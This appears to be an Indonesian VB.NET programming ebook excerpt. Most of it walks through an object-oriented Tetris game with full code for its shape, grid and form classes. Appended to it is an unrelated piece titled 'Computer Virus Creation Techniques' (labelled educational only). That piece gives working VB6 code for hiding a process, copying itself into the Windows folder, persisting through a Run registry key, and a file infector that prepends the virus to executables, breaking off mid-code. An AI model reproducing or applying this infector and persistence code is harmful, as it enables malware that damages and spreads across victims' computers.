{1,0},{1,1},{1,2},{1,3} {0,1},{1,1},{2,1},{3,1} {1,0},{1,1},{1,2},{1,3} {0,1},{1,1},{2,1},{3,1} {0,0},{0,1},{1,0},{1,1} {0,0},{0,1},{1,0},{1,1} {0,0},{0,1},{1,0},{1,1} {0,0},{0,1},{1,0},{1,1} {0,0},{0,1},{0,2},{1,2} {0,0},{0,1},{1,0},{2,0} {0,0},{1,0},{1,1},{1,2} {0,1},{1,1},{2,0},{2,1} {0,0},{0,1},{0,2},{1,1} {0,0},{1,0},{1,1},{2,0} {1,0},{0,1},{1,1},{1,2} {0,1},{1,0},{1,1},{2,1} {0,0},{0,1},{1,1},{1,2} {0,1},{1,0},{1,1},{2,0} {0,0},{0,1},{1,1},{1,2} {0,1},{1,0},{1,1},{2,0}

INDOPROG

30

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

{0,1},{0,2},{1,0},{1,1} {0,0},{1,0},{1,1},{2,1} {0,1},{0,2},{1,0},{1,1} {0,0},{1,0},{1,1},{2,1}

Contoh :

Yang memiliki rincian array sebagai berikut :
{0,0},{0,1},{0,2},{1,1} {0,0},{1,0},{1,1},{2,0} {1,0},{0,1},{1,1},{1,2} {0,1},{1,0},{1,1},{2,1}

Yang selanjutnya dipetakan menjadi suatu array 4 dimensi yang berisi koordinat dari masingmasing shape :
'Array 4 dimensi yang berisi nilai sel dari masing-masing bentuk 'serta bentuk rotasinya private sarr(,,,) as integer = {{{{1,0},{1,1},{1,2},{1,3}}, _ {{0,1},{1,1},{2,1},{3,1}}, _ {{1,0},{1,1},{1,2},{1,3}}, _ {{0,1},{1,1},{2,1},{3,1}}}, _ {{{0,0},{0,1},{1,0},{1,1}}, _ {{0,0},{0,1},{1,0},{1,1}}, _ {{0,0},{0,1},{1,0},{1,1}}, _ {{0,0},{0,1},{1,0},{1,1}}}, _ {{{0,0},{0,1},{0,2},{1,2}}, _ {{0,0},{0,1},{1,0},{2,0}}, _ {{0,0},{1,0},{1,1},{1,2}}, _ {{0,1},{1,1},{2,0},{2,1}}}, _ {{{0,0},{0,1},{0,2},{1,1}}, _ {{0,0},{1,0},{1,1},{2,0}}, _ {{1,0},{0,1},{1,1},{1,2}}, _ {{0,1},{1,0},{1,1},{2,1}}}, _ {{{0,0},{0,1},{1,1},{1,2}}, _ {{0,1},{1,0},{1,1},{2,0}}, _ {{0,0},{0,1},{1,1},{1,2}}, _ {{0,1},{1,0},{1,1},{2,0}}}, _ {{{0,1},{0,2},{1,0},{1,1}}, _ {{0,0},{1,0},{1,1},{2,1}}, _ {{0,1},{0,2},{1,0},{1,1}}, _ {{0,0},{1,0},{1,1},{2,1}}}}

Variabel pada Class TShape
private private currentshape as integer nextshape as integer 'menyimpan 'menyimpan nomor nomor current shape next shape

INDOPROG

31

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

public public private

currentcolor as color nextcolor as color currentstate as integer

'menyimpan warna current shape 'menyimpan warna next shape 'nomor rotasi shape

Konstruktor TShape Konstuktor TShape merupakan metoda yang otomatis dijalankan begitu instance dari TShape terbentuk. Misalnya :
private gtshape as new tshape 'instance class tshape

berfungsi menghasilkan bentuk Shape berikutnya yang akan dimunculkan setelah bentuk sekarang dengan memanggil metoda generateshape.
'konstrutor untuk class tshape public sub new() generateshape(nextshape, nextcolor) end sub

Metoda GenerateNextShape Metoda ini berfungsi memindahkan nextshape menjadi currentshape, serta membuat nextshape yang berikutnya.
'Membuat next shape berikutnya, dan menset current shape public sub generatenextshape() currentshape = nextshape currentcolor = nextcolor currentstate = 0 'rotasi ke 0 generateshape(nextshape, nextcolor) 'buat nextshape end sub

baru

Sub GenerateShape Berfungsi menghasilkan shape secara random, dan warnanya
'Membuat bentuk dan mengembalikan melalui parameter shape dan shapecolor private sub generateshape(byref shape as integer, _ byref shapecolor as color) dim c as integer shape = int(rnd*6) 'random untuk shape c = int(rnd*8) 'random untuk shape color select case c case 0 : shapecolor = color.red case 1 : shapecolor = color.green case 2 : shapecolor = color.blue case 3 : shapecolor = color.orange case 4 : shapecolor = color.pink case 5 : shapecolor = color.cyan

INDOPROG

32

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

case 6 : shapecolor = color.gray case else shapecolor = color.magenta end select end sub

Catatan : Parameter pada sub ini dilewatkan secara by refrence, sehingga nilai dapat dikembalikan ke variable shape dan shapecolor. Metoda Rotate Metode ini berfungsi menset nilai currentstate ke nilai rotasi berikutnya (0 ke 1, 1 ke 2, 2 ke 3, 3 ke 0).

'Rotasi ke bentuk berikutnya public sub rotate() currentstate = currentstate + 1 if currentstate = 4 then currentstate = 0 end sub

'Rotasi berikutnya 'Kembali ke bentuk awal

Metoda DeRotate Metode ini berfungsi menset nilai currentstate ke nilai rotasi sebelumnya (1 ke 0, 2 ke 1, 3 ke 2, 0 ke 3).
'Rotasi ke bentuk sebelumnya public sub derotate() currentstate = currentstate - 1 'Rotasi if currentstate = -1 then currentstate = 3 end sub

sebelumnya

Metoda CurrentShapeSel Properti ini berfungsi mengembalikan nilai sel yang ke i,j dari array shape yang tersimpan pada array 4 dimensi sarr.
'Mengembalikan sel i,j dari current shape public function currentshapesel(i as integer, return sarr(currentshape,currentstate,i,j) end function j as integer)

Nilai sel yang dikembalikan sangat tergantung pada nilai variable currentshape (bentuk shape), dan currentstate (nomor rotasi)

INDOPROG

33

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

Misalnya nilai currentshape = 4, dan nilai currentstate = 3

{1,0},{0,1},{1,1},{1,2}

Dan CurrentShapeSel(0,0) akan menghasilkan 1 CurrentShapeSel(0,1) akan menghasilkan 0 Property NextShapeSel Properti ini berfungsi mengembalikan nilai sel yang ke i,j dari array shape yang tersimpan pada array 4 dimensi sarr.
'Mengembalikan sel i,j dari next shape public function nextshapesel(i as integer, j as integer) return sarr(nextshape,0,i,j) 'Bentuk end function

awal

Nilai sel yang dikembalikan sangat tergantung pada nilai variable nextshape (bentuk shape), dan currentstate defaultnya 0, karena nextshape belum mengalami rotasi.

Class TGrid
Class ini berfungsi menyediakan mekanisme Grid pada permainan Tetris, dimana pada memori computer diwakili dengan array dua dimensi, dengan gambaran sebagai berikut :

INDOPROG

34

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

Variabel yang digunakan
public public parr(15,25) carr(15,25) as integer as color 'Array menyimpan isi sel pada grid 'Array menyimpan warna sel pada grid

Merupakan array yang mewakili grid dilayar, jika suatu sel terisi gambar, maka nilai parr(x,y) akan berisi nilai 1, dan carr(x,y) akan berisi nilai warna gambar. Kontruktor TGrid Begitu instance dari TGrid terbuat, maka akan mengisi awal array parr menjadi sebagai berikut, yang akan menjadi bingkai dari grid, sehingga area permainan mulai dari (3,0) s/d (12,22)

INDOPROG

35

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

'konstruktur class tgrid public sub new() dim i, j as integer for i = 0 to 15 for j = 0 to 25 parr(i,j) = 1 next j next i for i = 3 to 12 for j = 0 to 22 parr(i,j) = 0 next j next i end sub

'isi bingkai

'isi arena

Metoda TestShape Metoda ini berfungsi mengisi nilai dari shape ke posisi x,y dalam grid, dengan syarat parr(x,y) masih 0
'Menempatkan shape pada posisi x,y di grid public sub putshape(x as integer, y as integer, dim i as integer for i = 0 to 3 s as tshape)

INDOPROG

36

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

parr(x+s.currentshapesel(i,0), _ y+s.currentshapesel(i,1)) = 1 carr(x+s.currentshapesel(i,0), _ y+s.currentshapesel(i,1)) = s.currentcolor next i end sub

Misalnya putshape yang ke 4, keposisi 6,21 pada grid, yang akan mengisi nilai ke parr

Metoda TestShape Metoda ini berfungsi mencoba apakah shape dapat ditempatkan pada posisi x,y dalam grid, dengan syarat parr(x,y) masih 0
'Mengembalikan nilai yang menunjukan apakah 'shape dapat ditempatkan pada grid diposisi x,y public function testshape(x as integer, y as integer, s as tshape)_ as boolean dim i as integer for i = 0 to 3 'apakah sel pada grid telah terisi ( > 0 ) if parr(x+s.currentshapesel(i,0), _ y+s.currentshapesel(i,1)) > 0 then return false end if

INDOPROG

37

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

next i return true end function

Metoda CheckGrid Metoda ini berfungsi memeriksa apakah ada baris dalam array parr yang berisi nilai 1 dari kolom 3 s/d 12.
'periksa apakah ada baris yang berhasil diselesaikan pemain public function checkgrid() as integer dim i,j as integer dim b,k as integer dim complete as integer complete = 0 i = 22 do while i > 3 j = 3 do while parr(j,i) <> 0 and j < 13 j=j+1 loop if j = 13 then beep 'sound beep complete = complete + 1 for b = i to 4 step -1 for k = 3 to 12 parr(k,b) = parr(k,b-1) carr(k,b) = carr(k,b-1) next k next b else i = i - 1 end if loop return complete end function end class

Misalnya array parr pada baris 22 berisi nilai 1 mulai baris 3 s/d 12, maka setelah metoda ChekGrid dijalankan akan menghapus baris 22 dan mengeser baris diatasnya ke bawah, dan mengembalikan nilai berapa baris yang berhasil diselesaikan.

INDOPROG

38

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

Class Tetris
Class ini merupakan class utama permainan Tetris

Variabel yang digunakan
private private private private private private private private withevents gtimer as new labelscore as new label labelgameover as new label gtgrid as new tgrid gtshape as new tshape g as graphics x,y as integer score as integer sistem.windows.forms.timer

'instance 'instance

class class

tgrid tshape pada grid

'posisi x,y shape 'score permainan

Konstruktor Tetris
Berfungsi mempersiapkan tampilan form, seperti title form, ukuran form, menempatkan label untuk keterangan score dan gameover, membuat objek Graphics yang akan digunakan untuk menyediakan metoda pengambaran, serta mempersiapkan Shape berikutnya.
public sub new() me.text = "Program Tetris" me.size = new size(450, 600) labelscore.location = new point(61,30) me.controls.add(labelscore) labelgameover.location = new point(200,30) me.controls.add(labelgameover) g = me.creategraphics() score = 0 printscore() nextshape() 'persiapkan end sub

shape

berikutnya

Metoda NextShape
Metoda ini berfungsi mempersiapkan shape berikutnya, dan menset interval timer 200 millidetik, dan posisi awal shape mulai di posisi (7,0)
'metoda mempersiapkan shape private sub nextshape() gtimer.interval = 200 berikutnya 'set interval 200 millidetik

INDOPROG

39

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

gtimer.enabled = true gtshape.generatenextshape() redrawnextshape() x = 7 y = 0 end sub

'mengaktifkan

timer

'cetak shape berikutnya 'koordinat awal di 7,0

Metoda MoveShape
Metoda ini berfungsi menggambarkan animasi pergerakan Shape pada posisi x,y sesuai dengan arah gerakan yang ditentukan pada dx dan dy, misalnya bergerak ke kiri, kama dx = -1, dy = 0
'memindahkan shape keposisi private sub movexy(dx,dy) clearshape() x = x + dx y = y + dy drawshape() end sub x,y 'hapus gambar sebelumnya 'ubah posisi x,y 'gambar diposisi baru

Metoda MoveShape
Metoda ini berfungsi memperbaharui nilai score di layar
'metoda untuk mencetak score dilayar private sub printscore() labelscore.text = "Score : " & score.tostring() end sub

Metoda MoveShape
Metoda ini berfungsi mengubah tulisan di labelgameover menjadi “Game Over”
'metoda untuk mencetak gameover private sub printgameover() labelgameover.text = "Game Over" end sub

Event Tick
Event ini secara otomatis akan dibangkitkan oleh Timer secara berkala untuk mengerakan Shape ke bawah, dengan senantiasa apakah Shape telah mencapai batas gerakan, jika ya, maka akan memanggil metoda putshape pada TGrid. Jika Shape tertahan dibaris < 3 artinya Game Over
'mengerakan shape ke bawah dengan interval waktu tertentu private sub gtimer_tick(sender as object, e as eventargs) _ handles gtimer.tick 'apakah shape masih bisa turun kebawah if gtgrid.testshape(x,y+1,gtshape) then

INDOPROG

40

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

movexy(0,1) 'jika ya pindah shape 1 baris ke bawah else gtgrid.putshape(x,y,gtshape) 'tempatkan shape kegrid score = score + gtgrid.checkgrid() 'periksa baris yang lengkap redrawgrid() 'cetak ulang grid printscore() 'cetak score 'jika shape tertahan di baris 3, artinya game over if y < 3 then gtimer.enabled = false 'matikan timer karena gameover printgameover() 'tampil pesan gameover else nextshape() 'persiapkan gambar berikutnya end if end if end sub

Event KeyDown
Event ini secara otomatis akan dibangkitkan apabila adanya penekanan tombol oleh pemakai, Jika panah atas akan merotasi shape jika panah kiri akan mengerakan shape ke kiri jika panah kanan akan mengerakan shape ke kanan jika panah bawah akan mempercepat turunya shape
'deteksi penekanan tombol dengan event keydown pada form private sub tetris_keydown(sender as object, e as keyeventargs) _ handles mybase.keydown select case e.keyvalue case 38, 104, 12,101 : 'Panah atas, 8, 5 gtshape.rotate() 'rotasi 'apakah hasil rotasi dapat ditempatkan diposisi gtgrid.testshape(x,y,gtshape) then 'kalau ya, rotasi balik kembali gtshape.derotate() clearshape() 'hapus animasi shape gtshape.rotate() 'rotasi drawshape() 'gambar shape ke layar else gtshape.derotate() end if case 37, 100 : 'Panah kiri, 4 'jika shape dapat ditempatkan kekiri if gtgrid.testshape(x-1,y,gtshape) then movexy(-1,0) 'pindah ke kiri end if case 39, 102 : 'Panah kanan, 6 if gtgrid.testshape(x+1,y,gtshape) then movexy(1,0) end if case 40, 98 : 'Panah bawah, 2 interval dipercepat gtimer.interval = 10 end select end sub

x,y if

INDOPROG

41

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

Metoda DrawSel
Metoda ini berfungsi menggambar sel Shape ke layar untuk animasi, metoda ini akan dipanggil oleh metoda drawshape dan OnPaint
'menggambar sel dari suatu shape private sub drawsel(pen as pen, brush as brush, _ x as integer, y as integer, _ w as integer, h as integer) if y > 2 then g.fillrectangle(brush,x*21,y*21,w,h) g.drawrectangle(pen,x*21,y*21,w,h) end if end sub

Metoda DrawShape
Metoda ini berfungsi menggambar masing-masing sel Shape ke layar dengan memanggil metoda DrawSel untuk

'mengambar shape secara sementara private sub drawshape() dim i as integer dim pen as new pen(color.white,1) dim brush as new solidbrush(gtshape.currentcolor) for i = 0 to 3 drawsel(pen,brush, _ x+gtshape.currentshapesel(i,0), _ y+gtshape.currentshapesel(i,1), _ 20,20) next i end sub

Metoda DrawShape
Metoda ini berfungsi menghapus masing-masing sel (warna hitam) Shape di layar dengan memanggil metoda DrawSel untuk

'menghapus shape sementara private sub clearshape() dim i as integer dim pen as new pen(color.black,1) dim brush as new solidbrush(color.black) for i = 0 to 3 drawsel(pen,brush, _ x+gtshape.currentshapesel(i,0), _ y+gtshape.currentshapesel(i,1),20,20) next i end sub

Metoda ReDrawNextShape
Metoda ini berfungsi menggambar NextShape di layar setiap adanya perubahan nextshape

INDOPROG

42

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

'mengambar ulang nextshape private sub redrawnextshape dim i as integer dim pen as new pen(color.black,1) dim brush as new solidbrush(color.black) g.fillrectangle(brush,300,60,120,120) pen.color = color.white brush.color = gtshape.nextcolor for i = 0 to 3 drawsel(pen,brush, _ 16+gtshape.nextshapesel(i,0), 4+gtshape.nextshapesel(i,1), 20,20) next i end sub

_ _

Metoda ReDrawGrid
Metoda ini berfungsi menggambar ulang Grid dilayar
'mengambar ulang grid private sub redrawgrid dim i,j as integer dim pen as new pen(color.white,1) dim brush as new solidbrush(color.red) for i = 3 to 12 for j = 3 to 22 if gtgrid.parr(i,j) <> 0 then 'Menggambar ulang isi grid pen.color = color.white brush.color = gtgrid.carr(i,j) drawsel(pen,brush,i,j,20,20) else pen.color = color.black brush.color = color.black drawsel(pen,brush,i,j,20,20) end if next j next i pen.color = color.black g.drawrectangle(pen,3*21-1,3*21-1,10*21+1,20*21+1) end sub

Metoda OnPaint
Metoda OnPaint akan secara otomatis diaktifkan oleh windows setiap kali layar form Tetris digambar ulang (misalnya waktu Maximize dan Minimize)
'melakukan overide terhadap sub onpaint pada base class 'untuk menggambar isi grid setiap proses refresh pada form protected overrides sub onpaint(e as painteventargs) redrawgrid() redrawnextshape() end sub

INDOPROG

43

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

Program Kongkret
option explicit on imports sistem imports sistem.drawing imports sistem.windows.forms imports microsoft.visualbasic public class tetris : inherits sistem.windows.forms.form

<sistem.STAThread> _ public shared sub main() randomize() application.run(new tetris) end sub private private private private private private private private withevents gtimer as new labelscore as new label labelgameover as new label gtgrid as new tgrid gtshape as new tshape g as graphics x,y as integer score as integer sistem.windows.forms.timer

'instance 'instance

class class

tgrid tshape pada grid

'posisi x,y shape 'score permainan

public sub new() me.text = "Program Tetris" me.size = new size(450, 600) labelscore.location = new point(61,30) me.controls.add(labelscore) labelgameover.location = new point(200,30) me.controls.add(labelgameover) g = me.creategraphics() score = 0 printscore() 'persiapkan nextshape() end sub 'metoda mempersiapkan shape berikutnya private sub nextshape() gtimer.interval = 200 gtimer.enabled = true gtshape.generatenextshape() redrawnextshape() x = 7 y = 0 end sub 'memindahkan shape keposisi private sub movexy(dx,dy) clearshape() x = x + dx y = y + dy drawshape() end sub x,y

shape

berikutnya

'set interval 200 millidetik 'mengaktifkan timer 'cetak shape berikutnya 'koordinat awal di 7,0

'hapus gambar sebelumnya 'ubah posisi x,y 'gambar diposisi baru

INDOPROG

44

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

'metoda untuk mencetak score dilayar private sub printscore() labelscore.text = "Score : " & score.tostring() end sub 'metoda untuk mencetak gameover private sub printgameover() labelgameover.text = "Game Over" end sub 'mengerakan shape ke bawah dengan interval waktu tertentu private sub gtimer_tick(sender as object, e as eventargs) _ handles gtimer.tick 'apakah shape bisa turun kebawah if gtgrid.testshape(x,y+1,gtshape) then movexy(0,1) 'pindah shape 1 baris ke bawah else gtgrid.putshape(x,y,gtshape) 'tempatkan shape kegrid score = score + gtgrid.checkgrid() 'periksa baris yang lengkap redrawgrid() 'cetak ulang grid printscore() 'cetak score 'jika shape tertahan di baris 3, artinya game over if y < 3 then gtimer.enabled = false 'matikan timer karena gameover printgameover() 'tampil pesan gameover else nextshape() 'persiapkan gambar berikutnya end if end if end sub 'deteksi penekanan tombol dengan event keydown pada form private sub tetris_keydown(sender as object, e as keyeventargs) _ handles mybase.keydown select case e.keyvalue case 38, 104, 12,101 : 'Panah atas, 8, 5 gtshape.rotate() 'rotasi 'apakah hasil rotasi dapat ditempatkan diposisi gtgrid.testshape(x,y,gtshape) then 'kalau ya, rotasi balik kembali gtshape.derotate() clearshape() 'hapus animasi shape gtshape.rotate() 'rotasi drawshape() 'gambar shape ke layar else gtshape.derotate() end if case 37, 100 : 'Panah kiri, 4 'jika shape dapat ditempatkan kekiri if gtgrid.testshape(x-1,y,gtshape) then movexy(-1,0) 'pindah ke kiri end if case 39, 102 : 'Panah kanan, 6 if gtgrid.testshape(x+1,y,gtshape) then movexy(1,0) end if case 40, 98 : 'Panah bawah, 2 interval dipercepat

x,y if

INDOPROG

45

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

gtimer.interval end select end sub

=

10

'menggambar sel dari suatu shape private sub drawsel(pen as pen, brush as brush, _ x as integer, y as integer, _ w as integer, h as integer) if y > 2 then g.fillrectangle(brush,x*21,y*21,w,h) g.drawrectangle(pen,x*21,y*21,w,h) end if end sub 'mengambar shape secara sementara private sub drawshape() dim i as integer dim pen as new pen(color.white,1) dim brush as new solidbrush(gtshape.currentcolor) for i = 0 to 3 drawsel(pen,brush, _ x+gtshape.currentshapesel(i,0), _ y+gtshape.currentshapesel(i,1), _ 20,20) next i end sub 'menghapus shape sementara private sub clearshape() dim i as integer dim pen as new pen(color.black,1) dim brush as new solidbrush(color.black) for i = 0 to 3 drawsel(pen,brush, _ x+gtshape.currentshapesel(i,0), _ y+gtshape.currentshapesel(i,1),20,20) next i end sub 'mengambar ulang nextshape private sub redrawnextshape dim i as integer dim pen as new pen(color.black,1) dim brush as new solidbrush(color.black) g.fillrectangle(brush,300,60,120,120) pen.color = color.white brush.color = gtshape.nextcolor for i = 0 to 3 drawsel(pen,brush, _ 16+gtshape.nextshapesel(i,0), 4+gtshape.nextshapesel(i,1), 20,20) next i end sub

_ _

'mengambar

ulang

grid

INDOPROG

46

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

private sub redrawgrid dim i,j as integer dim pen as new pen(color.white,1) dim brush as new solidbrush(color.red) for i = 3 to 12 for j = 3 to 22 if gtgrid.parr(i,j) <> 0 then 'Menggambar ulang isi grid pen.color = color.white brush.color = gtgrid.carr(i,j) drawsel(pen,brush,i,j,20,20) else pen.color = color.black brush.color = color.black drawsel(pen,brush,i,j,20,20) end if next j next i pen.color = color.black g.drawrectangle(pen,3*21-1,3*21-1,10*21+1,20*21+1) end sub 'melakukan overide terhadap sub onpaint pada base class 'untuk menggambar isi grid setiap proses refresh pada form protected overrides sub onpaint(e as painteventargs) redrawgrid() redrawnextshape() end sub end class

public class tgrid public parr(15,25) as integer grid public carr(15,25) as color grid 'konstruktur class tgrid public sub new() dim i, j as integer for i = 0 to 15 for j = 0 to 25 parr(i,j) = 1 next j next i for i = 3 to 12 for j = 0 to 22 parr(i,j) = 0 next j next i end sub

'Array menyimpan isi sel pada 'Array menyimpan warna sel pada

'isi bingkai

'isi arena

'Mengembalikan nilai yang menunjukan apakah 'shape dapat ditempatkan pada grid diposisi x,y public function testshape(x as integer, y as integer, s as tshape) _ as boolean dim i as integer

INDOPROG

47

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

for i = 0 to 3 'apakah sel pada grid telah terisi if parr(x+s.currentshapesel(i,0), _ y+s.currentshapesel(i,1)) > 0 then return false end if next i return true end function 'Menempatkan shape pada posisi x,y di grid public sub putshape(x as integer, y as integer, s as tshape) dim i as integer for i = 0 to 3 parr(x+s.currentshapesel(i,0), _ y+s.currentshapesel(i,1)) = 1 carr(x+s.currentshapesel(i,0), _ y+s.currentshapesel(i,1)) = s.currentcolor next i end sub 'periksa apakah ada baris yang berhasil diselesaikan pemain public function checkgrid() as integer dim i,j as integer dim b,k as integer dim complete as integer complete = 0 i = 22 do while i > 3 j = 3 do while parr(j,i) <> 0 and j < 13 j=j+1 loop if j = 13 then beep 'sound beep complete = complete + 1 for b = i to 4 step -1 for k = 3 to 12 parr(k,b) = parr(k,b-1) carr(k,b) = carr(k,b-1) next k next b else i = i - 1 end if loop return complete end function end class public class tshape private currentshape as integer private nextshape as integer public currentcolor as color public nextcolor as color private currentstate as integer

'menyimpan nomor current shape 'menyimpan nomor next shape 'menyimpan warna current shape 'menyimpan warna next shape 'nomor rotasi shape

INDOPROG

48

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

'Array 4 dimensi yang berisi nilai sel dari masing-masing bentuk 'serta bentuk rotasinya private sarr(,,,) as integer = {{{{1,0},{1,1},{1,2},{1,3}}, _ {{0,1},{1,1},{2,1},{3,1}}, _ {{1,0},{1,1},{1,2},{1,3}}, _ {{0,1},{1,1},{2,1},{3,1}}}, _ {{{0,0},{0,1},{1,0},{1,1}}, _ {{0,0},{0,1},{1,0},{1,1}}, _ {{0,0},{0,1},{1,0},{1,1}}, _ {{0,0},{0,1},{1,0},{1,1}}}, _ {{{0,0},{0,1},{0,2},{1,2}}, _ {{0,0},{0,1},{1,0},{2,0}}, _ {{0,0},{1,0},{1,1},{1,2}}, _ {{0,1},{1,1},{2,0},{2,1}}}, _ {{{0,0},{0,1},{0,2},{1,1}}, _ {{0,0},{1,0},{1,1},{2,0}}, _ {{1,0},{0,1},{1,1},{1,2}}, _ {{0,1},{1,0},{1,1},{2,1}}}, _ {{{0,0},{0,1},{1,1},{1,2}}, _ {{0,1},{1,0},{1,1},{2,0}}, _ {{0,0},{0,1},{1,1},{1,2}}, _ {{0,1},{1,0},{1,1},{2,0}}}, _ {{{0,1},{0,2},{1,0},{1,1}}, _ {{0,0},{1,0},{1,1},{2,1}}, _ {{0,1},{0,2},{1,0},{1,1}}, _ {{0,0},{1,0},{1,1},{2,1}}}} 'konstrutor untuk class tshape public sub new() generateshape(nextshape, nextcolor) end sub 'Membuat next shape berikutnya, dan menset current shape public sub generatenextshape() currentshape = nextshape currentcolor = nextcolor currentstate = 0 'rotasi ke 0 generateshape(nextshape, nextcolor) 'buat nextshape end sub

baru

'Membuat bentuk dan mengembalikan melalui parameter shape dan shapecolor private sub generateshape(byref shape as integer, _ byref shapecolor as color) dim c as integer 'random untuk shape shape = int(rnd*6) c = int(rnd*8) 'random untuk shape color select case c case 0 : shapecolor = color.red case 1 : shapecolor = color.green case 2 : shapecolor = color.blue case 3 : shapecolor = color.orange case 4 : shapecolor = color.pink case 5 : shapecolor = color.cyan case 6 : shapecolor = color.gray case else shapecolor = color.magenta

INDOPROG

49

Pemrograman Berorientasi Objek pada VB.NET

Hendra, S.T.

end select end sub 'Rotasi ke bentuk berikutnya public sub rotate() currentstate = currentstate + 1 if currentstate = 4 then currentstate = 0 end sub 'Rotasi ke bentuk sebelumnya public sub derotate() currentstate = currentstate - 1 if currentstate = -1 then currentstate = 3 end sub 'Mengembalikan sel i,j dari current shape public function currentshapesel(i as integer, return sarr(currentshape,currentstate,i,j) end function

'Rotasi berikutnya 'Kembali ke bentuk awal

'Rotasi

sebelumnya

j

as

integer)

'Mengembalikan sel i,j dari next shape public function nextshapesel(i as integer, j as integer) return sarr(nextshape,0,i,j) 'Bentuk end function end class

awal

Kompilasi Program
Vbc tetris.vb /r:sistem.dll /r:sistem.drawing.dll /r:sistem.windows.forms.dll

INDOPROG

50

Hanya untuk tujuan pendidikan saja

Teknik Pembuatan Virus Komputer
Syarat sebuah virus computer : 1. Menyembunyikan prosesnya dari pemakai 2. Mengaktifkan dirinya setiap startup sistem 3. Menyebarkan dirinya melalui media file executable 4. Mempercepat proses penyebarannya melalui media pertukaran data dan informasi 5. Mempercepat penyebarannya dengan memanfaatkan kelemahan dari suatu system 6. Menyebarkan dirinya dengan filename spoofing. 7. Mempercepat proses penyebarannya dengan pendekatan social engineering 8. Berusaha mempertahankan existensi dirinya Tanpa menggunakan teori yang panjang dan lebar, kita akan membahas bagaimana hal tersebut diatas dapat dilakukan dengan menggunakan bahasa pemrograman Visual Basic.

Menyembunyikan prosesnya dari pemakai
Agar program tidak menampilkan dirinya pada Task Bar, dapat digunakan perintah : App.TaskVisible = False Kemudian untuk menyembunyikan form dapat menggunakan : Me.Visible = False

Mengaktifkan dirinya setiap startup sistem
Agar program exe dapat diaktifkan setiap kali startup system, kita dapat menduplikasi program ke suatu folder dengan perintah : FileCopy app.Path & "\" & app.EXEName , environ$("windir") & "\" & app.EXEName dan menambah ke registry : Dim WShell as Object Set WShell = CreateObject("WScript.Shell") WShell.regwrite “HKLM\Software\Microsoft\Windows\CurrentVersion\Run\virusku", environ$("windir") & "\" & app.EXEName Set WShell = Nothing

Menyebarkan dirinya melalui media file executable

1

Hanya untuk tujuan pendidikan saja Program virus harus dapat menginfeksi program-program executable dengan proses sebagai berikut : Program Executable Setelah terinfeksi oleh program virus menjadi : Program Virus + Program Executable + Ukuran Virus + Signature Virus Sehingga setiap kali program yang telah terinfeksi dijalankan, maka Program Virus akan menginstalasi dirinya ke computer korban dan mengembalikan proses ke Program Executable. Jadi pada saat program terinfeksi dijalankan, maka Program Executable harus di pulihkan kembali dengan melakukan perhitungan : Posisi Program Executable = Ukuran File – Ukuran Virus – Ukuran Signature Virus Sesuatu hal yang harus diperhatikan adalah infeksi terhadap Program Executable tidak boleh dilakukan berulang-ulang dan tidak boleh menginfeksi diri Program Virus sendiri, sehingga harus ditambahkan suatu Signature Virus Private Sub PeriksadanInfeksiExe(fname As String) Dim tSignature As String * 5 Dim OriginalCode As String Dim fNum As Integer 'Jangan menginfeksi diri sendiri 'Hanya menginfeksi file berukuran lebih dibawah 1 Mega If Dir(fname) <> "" Then If FileLen&(fname) > virSize And FileLen&(fname) < 1048576 Then 'Ambil nomor file fNum = FreeFile Open fname For Binary Access Read As fNum 'Buka file target Seek fNum, LOF(fNum) - 5 + 1 'pindah file pointer ke posisi Signature Virus tSignature = Space$(5) Get fNum, , tSignature 'baca tSignature Close fNum If tSignature <> virSignature Then 'jika file virus (tidak ada virSignature) On Error GoTo finally Open fname For Binary Access Read Write As fNum 'Buka file target OriginalCode = Space$(LOF(fNum)) Get fNum, , OriginalCode 'baca Program Executable Put fNum, 1, virCode 'tulis Program Virus diawal Put fNum, , OriginalCode 'tulis Program Executable Put fNum, , virSize 'tulis Ukuran Virus Put fNum, , virSignature 'tulis Signature Virus

2

Hanya untuk tujuan pendidikan saja Close fNum finally: End If End If End If End Sub Ketika program Executable dijalankan maka : Private Sub VirusInitial() Dim OriginalCode As String Dim tSignature As String * 5 Dim fNum As Integer Dim fname As String virSignature = Chr$(3) + Chr$(53) + Chr$(103) + Chr$(153) + Chr$(203) Open exePath + App.EXEName + ".exe" For Binary Access Read As #1 Seek #1, LOF(1) - 5 + 1 'pindah file pointer ke posisi virSize tSignature = Space$(5) Get #1, , tSignature 'baca virSignature If tSignature <> virSignature Then virSize = LOF(1) virCode = Space$(virSize) Seek #1, 1 Get #1, , virCode Close #1 Call VirInstall If Not SudahLoad Then Load ff End If 'Jika file yang terinfeksi Else Seek #1, LOF(1) - 9 + 1 Get #1, , virSize 'Baca vircode virCode = Space$(virSize) Seek #1, 1 Get #1, , virCode 'Jika file virus sendiri 'ukuran virSize sama dengan ukuran file 'siapkan buffer virCode 'ke posisi bof 'baca virCode sebesar ukuran virSize

'instalasi virus

'aktifkan timer virus

'pindah file pointer ke posisi virSize 'baca virSize (long = 4 byte)

'ke posisi BOF (Awal file) 'baca virCode sebesar ukuran virSize 'siapkan buffer 'baca originalCode

OriginalCode = Space$(LOF(1) - virSize) Get #1, , OriginalCode

3

Hanya untuk tujuan pendidikan saja

